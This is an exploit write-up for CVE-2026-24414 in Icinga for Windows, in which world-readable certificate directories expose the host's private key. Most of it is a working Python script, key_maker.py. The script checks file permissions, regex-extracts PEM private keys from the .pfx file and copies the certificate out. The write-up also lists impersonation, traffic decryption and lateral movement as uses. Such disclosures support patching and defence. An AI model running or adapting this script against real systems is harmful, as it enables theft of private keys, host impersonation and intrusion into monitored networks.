# Exploit Title: Icinga for Windows 1.13.3 - 'key_maker.py' Incorrect Default Permissions Private Key Exposure
# Date: 2026-02-23
# Exploit Author: nu11secur1ty
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icinga-powershell-framework/releases/tag/v1.13.3
# Version: Icinga PowerShell Framework < 1.13.4, < 1.12.4, < 1.11.2
# Tested on: Windows 11 25H2
# CVE: CVE-2026-24414
# Exploit Repository: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-24414
## Description
Icinga for Windows PowerShell Framework versions prior to 1.13.4, 1.12.4, and 1.11.2 install the certificate directory with insecure default permissions. The directory `C:\Program Files\WindowsPowerShell\Modules\icinga-powershell-framework\certificate` is created with `BUILTIN\Users:(RX)` permissions, allowing ANY local user to read the `icingaforwindows.pfx` certificate file containing the private key.
This vulnerability leads to complete exposure of the Icinga private key, enabling attackers to:
- Impersonate the monitored host
- Decrypt Icinga monitoring traffic
- Use the stolen certificate for authentication to other systems
- Perform lateral movement within the network
## Exploit Repository
The full exploit code, including `key_maker.py` and additional testing scripts, is available at:
🔗 **https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-24414**
## Proof of Concept - key_maker.py
The following Python exploit, named `key_maker.py`, demonstrates that any standard user can read and extract the private key:
```python
#!/usr/bin/env python3
"""
key_maker.py - CVE-2026-24414 Exploit
Icinga for Windows Private Key Maker (Public Edition)
Author: nu11secur1ty
Repository: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-24414
Usage: python key_maker.py --go
"""
import os
import subprocess
import shutil
import getpass
import re
import hashlib
from pathlib import Path
from datetime import datetime
import argparse
# Colors
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
BLUE = '\033[94m'
WHITE = '\033[97m'
RESET = '\033[0m'
CHECK = "[+]"
CROSS = "[-]"
WARN = "[!]"
INFO = "[*]"
class IcingaKeyExploit:
def __init__(self):
self.username = getpass.getuser()
self.computer = os.environ.get('COMPUTERNAME', 'UNKNOWN')
self.cert_dir = Path(r"C:\Program Files\WindowsPowerShell\Modules\icinga-powershell-framework\certificate")
self.cert_file = self.cert_dir / "icingaforwindows.pfx"
self.timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
self.output_dir = Path.cwd() / f"icinga_exposed_{self.timestamp}"
def banner(self):
print(f"""
{BLUE}╔══════════════════════════════════════════════════════════╗
║ key_maker.py - CVE-2026-24414 ║
║ Icinga for Windows Private Key Exposure ║
║ Author: nu11secur1ty ║
║ Repo: github.com/nu11secur1ty/CVE-mitre ║
║ Current user: {self.username}@{self.computer}{' ' * (10 - len(self.username + self.computer))}║
╚══════════════════════════════════════════════════════════╝{RESET}
""")
def check_access(self):
"""Verify we can read the certificate"""
print(f"{CYAN}{INFO} Checking access to certificate...{RESET}")
if not self.cert_file.exists():
print(f"{RED}{CROSS} Certificate not found{RESET}")
return False
try:
with open(self.cert_file, 'rb') as f:
f.read(10)
size = self.cert_file.stat().st_size
print(f"{GREEN}{CHECK} CAN READ certificate ({size} bytes){RESET}")
return True
except:
print(f"{RED}{CROSS} Cannot read certificate{RESET}")
return False
def check_permissions(self):
"""Check file permissions"""
try:
result = subprocess.run(['icacls', str(self.cert_file)], capture_output=True, text=True)
print(f"{WHITE}{result.stdout}{RESET}")
if 'BUILTIN\\Users' in result.stdout and '(RX)' in result.stdout:
print(f"{RED}{WARN} VULNERABLE: BUILTIN\\Users has read access{RESET}")
return True
except:
pass
return False
def extract_private_key(self):
"""Extract private key from certificate"""
with open(self.cert_file, 'rb') as f:
raw_data = f.read()
try:
text_data = raw_data.decode('utf-8', errors='ignore')
pattern = r'-----BEGIN.*PRIVATE KEY-----.*?-----END.*PRIVATE KEY-----'
keys = re.findall(pattern, text_data, re.DOTALL)
if keys:
for i, key in enumerate(keys, 1):
key_file = self.output_dir / f"private_key_pem_{i}.key"
with open(key_file, 'w') as f:
f.write(key)
print(f"{GREEN}{CHECK} Private key saved: {key_file}{RESET}")
print(f"{CYAN}Preview:{RESET} {key[:100]}...")
else:
print(f"{YELLOW}{WARN} No PEM key found - binary certificate saved{RESET}")
except:
pass
# Save original
shutil.copy2(self.cert_file, self.output_dir / "original_certificate.pfx")
def create_proof(self):
"""Create proof report"""
proof = self.output_dir / "PROOF.txt"
with open(proof, 'w') as f:
f.write(f"CVE-2026-24414 EXPLOIT SUCCESS\n")
f.write(f"Date: {datetime.now()}\n")
f.write(f"User: {self.username}@{self.computer}\n")
f.write(f"Certificate: {self.cert_file}\n")
f.write(f"Permissions: BUILTIN\\Users:(RX) - VULNERABLE\n")
f.write("Private Key: EXTRACTED\n")
f.write("Impact: ANY local user can steal this key\n")
f.write(f"Repository: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-24414\n")
print(f"{GREEN}{CHECK} Proof: {proof}{RESET}")
def exploit(self):
self.banner()
self.output_dir.mkdir(exist_ok=True)
if not self.check_access():
return
self.check_permissions()
self.extract_private_key()
self.create_proof()
print(f"\n{RED}{'='*60}{RESET}")
print(f"{RED}CVE-2026-24414 - PRIVATE KEY EXPOSED!{RESET}")
print(f"{RED}{'='*60}{RESET}")
print(f"\nFiles saved to: {self.output_dir}")
print(f"\n{YELLOW}ANY USER on this system can steal this key!{RESET}")
print(f"\n{CYAN}Exploit Repository:{RESET}")
print(f"https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-24414")
def main():
exploit = IcingaKeyExploit()
parser = argparse.ArgumentParser()
parser.add_argument('--go', '-g', action='store_true', help='Extract private key')
args = parser.parse_args()
if args.go:
exploit.exploit()
else:
print("Usage: python key_maker.py --go")
print("Repository: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-24414")
if __name__ == "__main__":
main()